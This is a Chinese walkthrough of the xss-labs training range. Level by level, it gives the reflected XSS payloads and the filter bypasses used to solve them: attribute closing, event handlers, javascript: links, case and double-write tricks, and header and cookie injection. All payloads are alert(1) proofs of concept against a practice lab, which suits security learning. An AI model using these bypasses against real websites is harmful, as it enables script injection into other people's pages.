【靶场实战】xss-labs 远程靶场通关攻略
xss-labs 靶场题解
靶场地址:http://121.40.215.68:6651/
说明:每一关先放未触发 payload 的题目页面截图,再给出 payload、分析和弹窗验证截图。这里不再把成功后跳转到下一关的页面截图当作本关题目展示。页面中的 alert(1) 成功后会被靶场改写成 confirm("完成的不错!")。
首页

Level 1: 直接反射
题目截图

Payload
<script>alert(1)</script>
分析
- name 参数直接拼接到 HTML 文本中,没有做输出编码。
- 直接插入 script 标签即可执行,靶场会把 alert 成功回调改写成确认框。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level2.php?keyword=test - 弹窗内容:
完成的不错!

Level 2: 双引号属性闭合
题目截图

Payload
"><script>alert(1)</script>
分析
- keyword 同时出现在页面文本和 input value 中,真正可利用的位置是 value 属性。
- 先闭合双引号和 input 标签,再插入 script 标签。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level3.php?writing=wait - 弹窗内容:
完成的不错!

Level 3: 单引号属性闭合
题目截图

Payload
'onfocus=javascript:alert(1)'
分析
- keyword 位于单引号包裹的 input value 中。
- 闭合单引号后添加 onfocus 事件,配合 autofocus 或点击输入框触发。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level4.php?keyword=try+harder%21&submit=%E6%90%9C%E7%B4%A2 - 弹窗内容:
完成的不错!

Level 4: 过滤尖括号后的属性事件
题目截图

Payload
" onfocus="alert(1)
分析
- 后端删除了 < 和 >,但没有处理双引号。
- 不构造新标签,改为逃逸 value 属性并追加 onfocus 事件。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level5.php?keyword=find+a+way+out%21&submit=%E6%90%9C%E7%B4%A2 - 弹窗内容:
完成的不错!

Level 5: href 伪协议
题目截图

Payload
"><a href=javascript:alert(1)>click</a>
分析
- 后端过滤 script 和 on,事件属性路线不可用。
- 改用 a 标签的 javascript: href,点击链接后执行脚本。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level6.php?keyword=break%20it%20out! - 弹窗内容:
完成的不错!

Level 6: 大小写绕过
题目截图

Payload
"><a hRef=javascript:alert(1)>click</a>
分析
- 过滤关键字时没有统一大小写。
- HTML 属性名大小写不敏感,hRef 会被浏览器当作 href 解析。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level7.php?keyword=move%20up! - 弹窗内容:
完成的不错!

Level 7: 双写绕过
题目截图

Payload
"><scrscriptipt>alert(1)</scrscriptipt>
分析
- 过滤方式是删除关键字,不是拒绝请求。
- 双写关键字后,删除一层仍会还原出script。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level8.php?keyword=nice%20try! - 弹窗内容:
完成的不错!

Level 8: href HTML 实体解码
题目截图

Payload
javascript:alert(1)
分析
- 输入进入 a 标签 href,关键字会被替换。
- 浏览器解析 href 时会解码 HTML 实体,用 s 还原 javascript 中的 s。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level9.php?keyword=not%20bad! - 弹窗内容:
完成的不错!

Level 9: 合法链接检查绕过
题目截图

Payload
javascript:alert(1)//http://example.com
分析
- 在 Level 8 基础上,后端要求字符串包含 http://。
- 把 http:// 放进 JavaScript 注释部分,既通过检查又不影响执行。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level10.php?keyword=well%20done! - 弹窗内容:
完成的不错!

Level 10: 隐藏 input 的 GET 参数
题目截图

Payload
" type="text" onclick=alert(1) x="
分析
- 真正可控点是隐藏字段 t_sort,不是页面显示用的 keyword。
- 闭合 hidden input 的 value,把 type 改成 text 并追加 onclick。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level11.php?keyword=good%20job! - 弹窗内容:
完成的不错!

Level 11: Referer 请求头注入
题目截图

Payload
" type="text" onclick=alert(1) x="
分析
- 输入点来自 Referer 请求头,并被输出到隐藏 input 的 value。
- 在hackbar修改Referer发送数据包,点击触发onclick事件实现xss。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level12.php?keyword=good%20job! - 弹窗内容:
完成的不错!
弹窗截图:待插入用户截图。
Level 12: User-Agent 请求头注入
题目截图

Payload
" type="text" onclick=alert(1) x="
分析
- 输入点来自 User-Agent 请求头。
- 将 User-Agent 改成属性闭合 payload,点击生成的 input 后触发。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level13.php?keyword=good%20job! - 弹窗内容:
完成的不错!

Level 13: Cookie 注入
题目截图

Payload
user=" type="text" onclick=alert(1) x="
分析
- 输入点来自 Cookie 中的 user 字段。
- 伪造 user Cookie,闭合 t_cook 的 value 属性并追加 onclick。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level14.php - 弹窗内容:
完成的不错!

Level 14: EXIF 元数据 XSS

跳过了,这题现代 Chromium 不能直接触发
Level 15: AngularJS ng-include
题目截图

Payload
'level1.php?name=<img src=x onerror=alert(1)>'
分析
- AngularJS ng-include 会包含 src 指向的页面。
- 包含带反射 XSS 的 level1.php,让 img onerror 在被包含页面中触发。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level16.php?keyword=test - 弹窗内容:
完成的不错!

Level 16: 换行绕过空格过滤
题目截图

Payload
<svg%0Anonload=alert(1)>
分析
- 后端过滤 script、空格、斜杠和 Tab,但没有过滤换行。
- 用 %0A 换行分隔 svg 标签和 onload 属性。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level17.php?arg01=a&arg02=b - 弹窗内容:
完成的不错!

Level 17: embed 未加引号属性注入
题目截图

Payload
arg02=b onmouseover=alert(1)
分析
- embed 的 src 属性没有加引号。
- 通过空格逃逸 src 属性,追加 onmouseover 事件并触发。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level17.php?arg01=a&arg02=b%20onmouseover%3Dalert(1) - 弹窗内容:
完成的不错!

Level 18: embed 未加引号属性注入
题目截图

Payload
arg02=b onmouseover=alert(1)
分析
- 思路和 Level 17 类似,仍是未加引号的 embed src 属性。
- 通过 arg02 注入 onmouseover,鼠标移入或脚本派发事件即可触发。
验证结果
- 弹窗数量:1
- 成功后跳转 URL:
http://121.40.215.68:6651/level19.php?arg01=a&arg02=b - 弹窗内容:
完成的不错!

Level 19/20 是 Flash/SWF,做不了
总结
- Level 1-4 主要考察 HTML 文本和属性上下文闭合。
- Level 5-9 主要考察关键字过滤、大小写、双写、实体编码和协议检查绕过。
- Level 10-13 输入点转移到隐藏字段、Referer、User-Agent 和 Cookie。
- Level 14-16 涉及 EXIF、AngularJS ng-include、换行绕过。
- Level 17-20 涉及 embed/SWF/Flash,其中后两关受现代浏览器 Flash 支持限制。